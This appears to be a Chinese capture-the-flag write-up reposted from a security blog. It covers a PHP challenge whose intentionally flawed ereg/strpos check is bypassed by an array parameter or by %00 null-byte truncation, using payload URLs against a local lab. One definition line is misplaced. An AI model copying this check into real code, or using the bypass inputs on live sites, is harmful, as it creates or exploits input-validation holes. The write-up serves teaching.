暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

15 strpos数组绕过NULL与ereg正则%00截断

digo8wx安全 2021-01-26
2640

源码:

<?php

 

$flag="123456";

 

if(isset($_GET['nctf'])){

if(@ereg("^[1-9]+$",$_GET['nctf'])===FALSE)

echo'必须输入数字才行';

elseif(strpos($_GET['nctf'],'#biubiubiu')!==FALSE)

die('Flag:'.$flag);

else

echo'骚年,继续努力吧啊~';

}

 

?>

 

函数释义:

字体示例:该函数返回成功设置的变量数目。

strpos()函数查找字符串在另一字符串中第一次出现的位置,如果没有找到该字符串,则返回 false。

ereg正则函数,限制了输入必须要有数字

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

 

两个函数都可以用数组进行绕过。

strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求。ereg()在出错时返回的也是null,null!==false,所以符合要求。

 

 

代码分析:

获取flag条件:

if(@ereg("^[1-9]+$",$_GET['nctf'])===FALSE)   不满足

elseif(strpos($_GET['nctf'],'#biubiubiu')!==FALSE)满足

 

解题过程:

刚开始打开php文件提示404,重新建了一个php文件把代码复制过去就又可以了

 

nctf=biu时访问链接:

http://localhost:63342/php_bugs-master/15.1.php?nctf=biu

 


nctf=1时访问链接:

http://localhost:63342/php_bugs-master/15.1.php?nctf=1

 

获取flag方式1:

http://localhost:63342/php_bugs-master/15.1.php?nctf[]=1

 

 


 


获取flag方式2:

ereg函数存在NULL截断漏洞,正则匹配可以用%00绕过,还必须要有#biubiubiu,对#进行url编码为%23

 

http://localhost:63342/php_bugs-master/15.1.php?nctf=1%00%23biubiubiu

 

 

 

 

参考链接:

https://github.com/bowu678/php_bugs


文章转载自digo8wx安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论